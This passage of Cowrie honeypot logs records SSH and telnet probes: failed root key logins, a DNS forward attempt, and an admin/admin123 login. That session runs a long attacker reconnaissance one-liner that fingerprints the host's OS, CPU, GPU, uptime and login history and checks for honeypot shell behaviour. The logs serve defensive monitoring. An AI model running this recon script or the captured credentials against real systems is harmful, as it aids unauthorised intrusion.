-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.077084Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.116893Z","src_ip":"176.53.159.196","session":"f3f6c6b29740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.219655Z","src_ip":"176.53.159.196","session":"f3f6c6b29740","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:fc:a1:5b:06:52:c5:7f:da:31:63:82:e0:34:dd:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVvlfmxwfKD6TxGsnByPiOEoyY4SVbQA08XZsUN/JNIUQ1IY9d7w4CLe4mS0bpJXp2cIk+z9UbwLtcU7FRDZtp1UuTgZ21FlWj06KKvMoWC9K37yhDx5iSX1GXNC9Jap7CWmgkIjeUr0wEq2PhucOfEZH5DzI6Q3Ht77cZJBUPjGALOvIAFLZyO7rcziw2kcYnoFvlSwuN/LbOx6Z9ncLAXt0CNtBgF1i6CVIyXeV705ENXj7Wxsk3fmiPTMEJv/VtFgnhM0R93tQiF2IGqpVLUrmpLp/ViSoYJ7z/0myn0kGZ+j4If9++1CnBMfOQANnCa9qCQWhQlzoct5h4IbiD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:fc:a1:5b:06:52:c5:7f:da:31:63:82:e0:34:dd:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.266778Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:fc:a1:5b:06:52:c5:7f:da:31:63:82:e0:34:dd:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVvlfmxwfKD6TxGsnByPiOEoyY4SVbQA08XZsUN/JNIUQ1IY9d7w4CLe4mS0bpJXp2cIk+z9UbwLtcU7FRDZtp1UuTgZ21FlWj06KKvMoWC9K37yhDx5iSX1GXNC9Jap7CWmgkIjeUr0wEq2PhucOfEZH5DzI6Q3Ht77cZJBUPjGALOvIAFLZyO7rcziw2kcYnoFvlSwuN/LbOx6Z9ncLAXt0CNtBgF1i6CVIyXeV705ENXj7Wxsk3fmiPTMEJv/VtFgnhM0R93tQiF2IGqpVLUrmpLp/ViSoYJ7z/0myn0kGZ+j4If9++1CnBMfOQANnCa9qCQWhQlzoct5h4IbiD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.269088Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:84:35:d9:2d:f3:29:7f:31:5a:d6:6a:3a:12:d8:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0bInSAk5tRvUih3Mu0/oqTUqKXl0rOtGy63d27Ujy0u13/5fRk9sTnOlypfTwq5v44laucdOXB+WBHZYbDDzyQGxwB0+CqgDBIwty1XGLynMuEaRqJsgBDmCXey+ZU5wAftwot6EA5PFloKYYpIJxHRXbq7wodo6Sq7Os03mHNg/Y4PCQAEtc8XkEJFsae/uUOg6oy786RCAgpQe1DCJj5VrHd93tw3XCXbPmXuSSdVePqoUYCyN1lzSICJB/M+5QJ/9cggDIW2HUv5718bMeiM0LGxwfU7MvIGsb+Mtohl7pna5ChOu2MfSVjj3Fqoa0dML4hf30r/PcFlv/RzL9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:84:35:d9:2d:f3:29:7f:31:5a:d6:6a:3a:12:d8:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.311006Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:84:35:d9:2d:f3:29:7f:31:5a:d6:6a:3a:12:d8:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0bInSAk5tRvUih3Mu0/oqTUqKXl0rOtGy63d27Ujy0u13/5fRk9sTnOlypfTwq5v44laucdOXB+WBHZYbDDzyQGxwB0+CqgDBIwty1XGLynMuEaRqJsgBDmCXey+ZU5wAftwot6EA5PFloKYYpIJxHRXbq7wodo6Sq7Os03mHNg/Y4PCQAEtc8XkEJFsae/uUOg6oy786RCAgpQe1DCJj5VrHd93tw3XCXbPmXuSSdVePqoUYCyN1lzSICJB/M+5QJ/9cggDIW2HUv5718bMeiM0LGxwfU7MvIGsb+Mtohl7pna5ChOu2MfSVjj3Fqoa0dML4hf30r/PcFlv/RzL9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.313585Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:d5:51:25:fa:40:bb:f1:f4:4f:69:16:4f:0b:2b:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD26LhSUYHbv379p+nJFVeEnALPdDlVwFyY1/xe/IgvZZIVReputy3GUW3tlsMnuh3KUHF8JiE5JvlFSTfNIo7m/8dec9Vb4oEQI84nm3EQXQV24oJSdsuwVWC09r/FfJQN/tlXn8bMKPff+7YSTzo2DnVA227jAdeSVEe/TV4djS7fnMYd8OVWwinZyfxIV+aOx2NYwQdjNXpBOB9QOfOTVi7w0RXnNm9q9WpUcR1Qccwbxsu45AUkS1Y6/aFqkVuWYmMtbcBBSlVmAQGb3ccJaN9K8VgUcPwq80OKi0SHySEXDlDq8Y3+qZuw5UxY2rn7xA8fBpCogQyefu33OX41","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:d5:51:25:fa:40:bb:f1:f4:4f:69:16:4f:0b:2b:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.355164Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:d5:51:25:fa:40:bb:f1:f4:4f:69:16:4f:0b:2b:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD26LhSUYHbv379p+nJFVeEnALPdDlVwFyY1/xe/IgvZZIVReputy3GUW3tlsMnuh3KUHF8JiE5JvlFSTfNIo7m/8dec9Vb4oEQI84nm3EQXQV24oJSdsuwVWC09r/FfJQN/tlXn8bMKPff+7YSTzo2DnVA227jAdeSVEe/TV4djS7fnMYd8OVWwinZyfxIV+aOx2NYwQdjNXpBOB9QOfOTVi7w0RXnNm9q9WpUcR1Qccwbxsu45AUkS1Y6/aFqkVuWYmMtbcBBSlVmAQGb3ccJaN9K8VgUcPwq80OKi0SHySEXDlDq8Y3+qZuw5UxY2rn7xA8fBpCogQyefu33OX41","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.357939Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:81:2a:84:05:a5:2a:97:21:a0:56:4b:ce:e5:15:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0IUi/SACO+QJM0PAWOtQAut6nAI/sfs5txL5wYIeCLwd58Zo5UEXQeeLktLoL6HOl8O34g967wn2MF+Gn5PqRmZfLCA9ArkftZTSTvdSbVqeh55HPGu1GYKryzgPw3Cgt1IdgI1J76ZTyOLWSJAypvrCEf2+6K0UqP6FQtZpk95eWXfNxHJDOMegwIjuhM5gVvm/cgi7qMDKk7qbWvcpnurhYJNE6OicKndAbOdV/8jvs7vQkbYOKSq39MmnJkZ4mPbI4OzOBzidkv4TKEQT+JZ0Al4iTnO40UqvCiAsw/i4G01a52V+uTQySd+/QyIuvq7411o65fNIqjB/ZWtkPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:81:2a:84:05:a5:2a:97:21:a0:56:4b:ce:e5:15:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.400661Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:81:2a:84:05:a5:2a:97:21:a0:56:4b:ce:e5:15:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0IUi/SACO+QJM0PAWOtQAut6nAI/sfs5txL5wYIeCLwd58Zo5UEXQeeLktLoL6HOl8O34g967wn2MF+Gn5PqRmZfLCA9ArkftZTSTvdSbVqeh55HPGu1GYKryzgPw3Cgt1IdgI1J76ZTyOLWSJAypvrCEf2+6K0UqP6FQtZpk95eWXfNxHJDOMegwIjuhM5gVvm/cgi7qMDKk7qbWvcpnurhYJNE6OicKndAbOdV/8jvs7vQkbYOKSq39MmnJkZ4mPbI4OzOBzidkv4TKEQT+JZ0Al4iTnO40UqvCiAsw/i4G01a52V+uTQySd+/QyIuvq7411o65fNIqjB/ZWtkPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.403316Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:68:b3:8c:b8:2a:ea:02:5b:30:8a:1e:24:08:3e:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSyp3Ak9Kc2vUhv1p8tNcQci3fAJrhABjrKc8a3Ir25/oWExdXvSHTCry/1/vDqzJsAJVgA9osKIGUKzLT1k7HaH9GX33vm3uw34ZOrzTQOmLMCyBpKrtfifVmIGKpzJlaaCSOcMhOwaoqi1D6BaNMccASJjZaKtcjLArLwRooLnsTLJwhFRfct/FW4J227TS9j4lpcQCaoCzagYqLbuJgGfq4qVUNnfnYiiv6PN4sMoybjfjppz71UjhaOvWr7CkMJJhhX0QC0fi3////+m5qlA2nWSSjCtqxXginLlD1gHQ2i6uv6lyjzn2AWEeSm33+zOBHXbdKLRpQiCW8gKFpKE7NdXjwHD11A+roJopPyNL+FmDBV/G7jn/cKCzm6LiTJRbx2owgXa5VzIFxn1RLtnqFT0m7LpD+m99Kzu8EtXiaWUup7W2vQAVCNGXpDBCRAu/WWTEfR7//fRqPin3XnpNZm2jIdHZD0svkY7tFsy/VCBsV4mI9kqzHPKcBpZxFS4xQfaom1b+laQeMg7mK20w92b4Y2+haUGa6EsNWM57A6d8vNCcVnWbruykbVY1YEVLGm0Y3sVHyWzhZlsguhxlJTkDHnphLHrR0eOY4J1FqDkZd08DcjWL6hWBY0yFatP3l0wnD4EUytCpkgDZYF/f3fyQv6pPk+t2bplH55w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:68:b3:8c:b8:2a:ea:02:5b:30:8a:1e:24:08:3e:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.449151Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:68:b3:8c:b8:2a:ea:02:5b:30:8a:1e:24:08:3e:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSyp3Ak9Kc2vUhv1p8tNcQci3fAJrhABjrKc8a3Ir25/oWExdXvSHTCry/1/vDqzJsAJVgA9osKIGUKzLT1k7HaH9GX33vm3uw34ZOrzTQOmLMCyBpKrtfifVmIGKpzJlaaCSOcMhOwaoqi1D6BaNMccASJjZaKtcjLArLwRooLnsTLJwhFRfct/FW4J227TS9j4lpcQCaoCzagYqLbuJgGfq4qVUNnfnYiiv6PN4sMoybjfjppz71UjhaOvWr7CkMJJhhX0QC0fi3////+m5qlA2nWSSjCtqxXginLlD1gHQ2i6uv6lyjzn2AWEeSm33+zOBHXbdKLRpQiCW8gKFpKE7NdXjwHD11A+roJopPyNL+FmDBV/G7jn/cKCzm6LiTJRbx2owgXa5VzIFxn1RLtnqFT0m7LpD+m99Kzu8EtXiaWUup7W2vQAVCNGXpDBCRAu/WWTEfR7//fRqPin3XnpNZm2jIdHZD0svkY7tFsy/VCBsV4mI9kqzHPKcBpZxFS4xQfaom1b+laQeMg7mK20w92b4Y2+haUGa6EsNWM57A6d8vNCcVnWbruykbVY1YEVLGm0Y3sVHyWzhZlsguhxlJTkDHnphLHrR0eOY4J1FqDkZd08DcjWL6hWBY0yFatP3l0wnD4EUytCpkgDZYF/f3fyQv6pPk+t2bplH55w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.508419Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.551834Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57124,"dst_ip":"159.203.135.109","dst_port":23,"session":"051f438f8e34","protocol":"telnet","message":"New connection: 170.64.224.25:57124 (159.203.135.109:23) [session: 051f438f8e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:19.061359Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":52892,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad587a1a08cc","protocol":"ssh","message":"New connection: 91.92.40.10:52892 (10.17.0.5:22) [session: ad587a1a08cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:26.223338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:26.510383Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:26.513189Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.349346Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.744635Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E \"model name|Hardware\" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep \"Model name\"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E \"model name|Hardware\" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep \"Model name\"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.747321Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.750551Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.753147Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.755857Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.759364Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.762092Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.764600Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.767145Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.770707Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.774064Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880","size":356,"shasum":"78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:27.934642Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:28.182691Z","src_ip":"91.92.40.10","session":"ad587a1a08cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":2738,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cb53092177b","protocol":"ssh","message":"New connection: 176.53.159.196:2738 (159.203.135.109:22) [session: 8cb53092177b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:44.695515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:55:44.699835Z","src_ip":"176.53.159.196","session":"8cb53092177b","protocol":"ssh"}
